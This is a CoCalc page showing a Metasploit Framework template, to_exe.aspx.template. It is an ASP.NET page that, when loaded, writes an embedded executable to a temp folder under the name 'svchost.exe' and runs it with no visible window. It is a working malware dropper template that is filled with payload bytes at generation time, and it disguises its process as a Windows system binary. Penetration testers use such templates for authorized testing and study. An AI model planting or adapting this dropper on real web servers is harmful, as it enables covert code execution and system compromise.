CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/templates/scripts/to_exe.aspx.template
Views: 11780
<%%@ Page Language="C#" AutoEventWireup="true" %%>
<%%@ Import Namespace="System.IO" %%>
<script runat="server">
	protected void Page_Load(object sender, EventArgs e)
	{
		%{shellcode}
		string %{var_tempdir} = Path.GetTempPath();
		string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
		string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
		
		Directory.CreateDirectory(%{var_basedir});
		
		FileStream fs = File.Create(%{var_tempexe});
		
		try
		{
			fs.Write(%{var_file}, 0, %{var_file}.Length);
		}
		finally
		{
			if (fs != null) ((IDisposable)fs).Dispose();
		}

		System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
		%{var_proc}.StartInfo.CreateNoWindow = true;
		%{var_proc}.StartInfo.UseShellExecute = true;
		%{var_proc}.StartInfo.FileName = %{var_tempexe};
		%{var_proc}.Start();
	}
</script>